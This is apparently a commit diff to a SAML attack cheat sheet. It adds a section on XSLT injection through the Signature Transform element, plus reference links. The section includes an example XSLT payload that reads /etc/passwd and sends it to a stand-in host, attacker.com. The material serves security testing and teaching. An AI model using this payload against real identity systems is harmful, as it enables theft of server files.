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XSLT in SAML

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Swissky 2019-04-28 13:06:59 +02:00
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@ -11,6 +11,7 @@
* [XML Signature Wrapping Attacks](#xml-signature-wrapping-attacks) * [XML Signature Wrapping Attacks](#xml-signature-wrapping-attacks)
* [XML Comment Handling](#xml-comment-handling) * [XML Comment Handling](#xml-comment-handling)
* [XML External Entity](#xml-external-entity) * [XML External Entity](#xml-external-entity)
* [Extensible Stylesheet Language Transformation](#extensible-stylesheet-language-transformation)
## Tools ## Tools
@ -155,6 +156,34 @@ In the following example:
The SAML response is accepted by the service provider. Due to the vulnerability, the service provider application reports "taf" as the value of the "uid" attribute. The SAML response is accepted by the service provider. Due to the vulnerability, the service provider application reports "taf" as the value of the "uid" attribute.
### Extensible Stylesheet Language Transformation
An XSLT can be carried out by using the `transform` element.
![http://sso-attacks.org/images/4/49/XSLT1.jpg](http://sso-attacks.org/images/4/49/XSLT1.jpg)
Picture from [http://sso-attacks.org/XSLT_Attack](http://sso-attacks.org/XSLT_Attack)
```xml
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl"select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>
```
## References ## References
- [SAML Burp Extension - ROLAND BISCHOFBERGER - JULY 24, 2015](https://blog.compass-security.com/2015/07/saml-burp-extension/) - [SAML Burp Extension - ROLAND BISCHOFBERGER - JULY 24, 2015](https://blog.compass-security.com/2015/07/saml-burp-extension/)
@ -166,3 +195,6 @@ The SAML response is accepted by the service provider. Due to the vulnerability,
- [ORACLE WEBLOGIC - MULTIPLE SAML VULNERABILITIES (CVE-2018-2998/CVE-2018-2933) - Denis Andzakovic - Jul 18, 2018](https://pulsesecurity.co.nz/advisories/WebLogic-SAML-Vulnerabilities) - [ORACLE WEBLOGIC - MULTIPLE SAML VULNERABILITIES (CVE-2018-2998/CVE-2018-2933) - Denis Andzakovic - Jul 18, 2018](https://pulsesecurity.co.nz/advisories/WebLogic-SAML-Vulnerabilities)
- [Truncation of SAML Attributes in Shibboleth 2 - 2018-01-15 - redteam-pentesting.de](https://www.redteam-pentesting.de/de/advisories/rt-sa-2017-013/-truncation-of-saml-attributes-in-shibboleth-2) - [Truncation of SAML Attributes in Shibboleth 2 - 2018-01-15 - redteam-pentesting.de](https://www.redteam-pentesting.de/de/advisories/rt-sa-2017-013/-truncation-of-saml-attributes-in-shibboleth-2)
- [Attacking SSO: Common SAML Vulnerabilities and Ways to Find Them - March 7th, 2017 - Jem Jensen](https://blog.netspi.com/attacking-sso-common-saml-vulnerabilities-ways-find/) - [Attacking SSO: Common SAML Vulnerabilities and Ways to Find Them - March 7th, 2017 - Jem Jensen](https://blog.netspi.com/attacking-sso-common-saml-vulnerabilities-ways-find/)
- [How to Hunt Bugs in SAML; a Methodology - Part I - @epi052](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
- [How to Hunt Bugs in SAML; a Methodology - Part II - @epi052](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)
- [How to Hunt Bugs in SAML; a Methodology - Part III - @epi052](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)